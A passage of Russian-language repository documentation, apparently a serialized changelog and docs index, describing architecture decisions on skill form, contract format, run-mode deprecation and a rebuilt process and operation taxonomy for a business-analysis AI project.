HTOM-\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 `ai-*` \u0432\u043e\u043e\u0431\u0449\u0435 (\u0433\u0435\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0442\u0440\u0438 \u043f\u043b\u043e\u0441\u043a\u0438\u0445 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0435\u0433\u043e \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 `resolve_one_of` \u0443\u0436\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0442\u0440\u0438 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0438, \u043d\u0438 \u043e\u0434\u0438\u043d `ai-*` \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 `required_directories`, \u0441\u0432\u044f\u0437\u044c \u0441 \u0425\u0430\u0431\u043e\u043c \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 URL). \u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043d\u0435 \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u043b\u0430 \u0431\u044b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0431\u044b \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0443\u044e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u0443\u044e \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0443. \u0412\u044b\u0433\u043e\u0434\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0443\u0441 \u043e\u0434\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u043a\u043e\u0440\u043d\u044f \u0438\u0437 26 (~4 %); \u0446\u0435\u043d\u0430 \u2014 658 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u043f\u0443\u0442\u0438 \u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445, \u0438\u0437 \u043d\u0438\u0445 229 \u0432 20 \u0438\u043c\u043c\u0443\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 `docs/adr/` \u0438 `docs/rfc/`, \u0440\u0430\u0441\u0445\u043e\u0434 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 `path_migrations` \u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 `AGENTS.md` \u0432\u043e \u0432\u0441\u0435\u0445 \u0441\u043f\u0438\u0446\u0430\u0445, \u0433\u0434\u0435 \u0438\u043c\u044f `ai-rules/` \u0441\u0442\u043e\u0438\u0442 \u0432 general-\u0441\u0435\u043a\u0446\u0438\u044f\u0445 `` \u0438 ``, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0432 \u0441\u043f\u0438\u0446\u044b \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 (ADR-012). \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434 \u0411 \u0434\u0430\u0451\u0442 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0435\u0433\u0440\u0435\u0441\u0441: \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u0442 `skills/` \u0438 `commands/` \u0438\u0437 \u043f\u043e\u0434\u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0433\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 (`ai-rules/skills/`, `ai-rules/commands/`) \u0432 \u0431\u0440\u0430\u0442\u044c\u044f `rules/` \u0432\u043e\u043f\u0440\u0435\u043a\u0438 ADR-016 \u0438 \u0443\u0442\u0430\u043f\u043b\u0438\u0432\u0430\u0435\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u2194 \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u043a\u043e\u0442\u043e\u0440\u0443\u044e ADR-007 \u0432\u0432\u0451\u043b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043a\u043e\u0440\u043d\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u0441\u0445\u043b\u043e\u043f\u044b\u0432\u0430\u043d\u0438\u044f \u0432 \u043e\u0434\u0438\u043d bucket. \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u043c: \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 (`AGENTS.md`), \u0430 \u043d\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u0434\u043e\u043c\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432. ADR-007 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435 \u0438 \u043d\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f `superseded`; \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0442\u0440\u0438 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430.\\n\\n- research: \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 [\u0413\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0432\u044b\u043a\u0430 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430](research/ba-requirements/2026-09-10-skill-granularity-format-facts.md) \u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c [`measure-skill-format.py`](research/ba-requirements/exp/ba-process-taxonomy-571/measure-skill-format.py) (issue #571, [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)) \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u0432\u0443\u0445 \u0433\u0438\u043f\u043e\u0442\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435\u043c. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0440\u0435\u0434\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0430 \u0444\u0430\u043a\u0442\u0430\u043c\u0438 `GC-25`\u2013`GC-28`: \u043d\u0430\u0432\u044b\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u0447\u0435\u0440\u0435\u0437 **\u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b**, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0444\u043e\u0440\u043c\u044b (\u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u2014 \u043c\u0435\u0441\u0442\u043e \u0432 `AGENTS.md`) \u0438 \u0432\u0435\u0440\u0445\u043d\u044f\u044f (\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u2014 \u0430\u0433\u0435\u043d\u0442). \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 0.2 \u00ab\u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\u00bb \u043e\u043f\u043e\u0440\u044b \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0438 \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0425\u0430\u0431\u0430, \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b. \u0417\u0430\u043c\u0435\u0440 24 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u0430 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u043b\u0438 **\u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430**, \u0430 \u043d\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e: \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u0435\u043b\u0438\u0442 \u043a\u043e\u0440\u043f\u0443\u0441 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f (`stepwise` 10 \u0438\u0437 10, `oneshot` 0 \u0438\u0437 9, `legacy` 0 \u0438\u0437 5), \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0447\u0438\u0441\u043b\u043e \u0448\u0430\u0433\u043e\u0432 \u043d\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u2014 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0435\u0441\u0442\u044c \u0443 9 \u0438\u0437 9 `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u043e \u00ab`oneshot` = \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e. \u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 `L3` \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e (2\u20137 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430 \u043d\u0430\u0432\u044b\u043a), \u043d\u043e 21 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\u0437 31 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u043c\u044f \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u2014 \u043e\u0442\u0431\u043e\u0440 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u043e\u0432 \u043d\u0430 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 `B-163`.\\n- adr: [ADR-016: \u041d\u0430\u0432\u044b\u043a \u2014 \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u2014 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e](docs/adr/2026-09-adr-016-skill-form-and-contract-format.md) (issue #571, `proposed`) \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-1`\u2026`SF-7`: \u043d\u0430\u0432\u044b\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0438 \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 **\u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0443\u0437\u0435\u043b** \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e; \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u043e\u0440\u043c\u044b \u0437\u0430\u0434\u0430\u043d\u044b \u0441\u0440\u0435\u0434\u043e\u0439 (`SF-3`, `SF-4`); \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f `interaction` (`dialog` \\\\| `single-pass`) \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u0440\u043e\u043c. \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0438\u043c\u0451\u043d `stepwise`/`oneshot`/`legacy` \u043a\u0430\u043a **\u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438** \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435 (ADR-013): ADR-016 \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0440\u0435\u0436\u0438\u043c\u044b, \u0430 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0442\u0443 \u043e\u0441\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u043d\u0438 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u043b\u0438 \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e. \u0423\u0442\u043e\u0447\u043d\u044f\u0435\u0442 ADR-015, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u043e `SB-1`.\\n\\n81:| `/docs/ba-meta-model-overview.md` | \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f | \u2014 | \u0427\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043e\u0431\u0437\u043e\u0440 \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f stakeholder alignment: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 prompt-only \u043f\u043e\u0434\u0445\u043e\u0434\u0430, \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e BCREQ, GigaCode mapping, Evidence Map \u0438 \u043f\u0435\u0440\u0432\u044b\u0439 MVP. | \u2705 \u0414\u0430 | `projects/ba-ai-process/ba-meta-model/`, `docs/adr/2026-09-adr-013-run-modes-deprecation.md`, `docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md`, `tools/test-ba-meta-model-overview.sh` |\\n106:| `/docs/adr/2026-09-adr-013-run-modes-deprecation.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u0434\u043b\u044f issue #563: \u0440\u0435\u0436\u0438\u043c\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 `stepwise`, `oneshot`, `legacy` \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0432 `deprecated` \u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0445\u0435\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 (\u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 0.077), \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0443 \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f. \u0418\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u0430\u0440\u0430 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f + \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u00bb; \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u2014 \u043e\u043d\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `projects/ba-ai-process/ba-meta-model/20-taxonomy.md` |\\n108:| `/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u0434\u043b\u044f issue #571: \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0411\u0410 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0442\u043e\u0447\u0435\u0447\u043d\u043e. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 `TX-1`\u2026`TX-7`: `L0`/`L1` \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u044e\u0442\u0441\u044f \u0438\u0437 BABOK v3 \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f, `L2`/`L3` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0435\u043b\u044c\u0442\u043e\u0439 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0441 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u2014 \u0441\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u043b\u0430\u0441\u0441 \u0432\u044b\u0445\u043e\u0434\u0430 (\u0441\u043a\u043b\u0435\u0439\u043a\u0430 \u00ab\u0424\u0422/\u0422\u0417\u00bb \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430), \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430 \u0438 \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0432\u0441\u0451 \u0432\u0435\u0442\u0432\u044f\u0449\u0435\u0435\u0441\u044f \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0432\u043e\u0441\u0435\u043c\u044c \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 `D1`\u2026`D8` \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u0445 `8cbf82a` \u0438 `15aa76f`. \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0434\u0435\u0432\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u043e \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `projects/ba-ai-process/ba-meta-model/process-taxonomy/`, `projects/ba-ai-process/ba-meta-model/operation-taxonomy/`, `research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md` |\\n109:| `/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u043f\u043e [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572): \u043d\u0430\u0432\u044b\u043a \u2014 **\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438** \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-1`\u2026`SF-7`: \u043d\u0430\u0432\u044b\u043a \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0443\u0437\u0435\u043b \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e; \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0444\u043e\u0440\u043c\u044b \u2014 `AGENTS.md` (`GC-26`), \u0432\u0435\u0440\u0445\u043d\u044f\u044f \u2014 \u0430\u0433\u0435\u043d\u0442 \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 (`GC-28`); 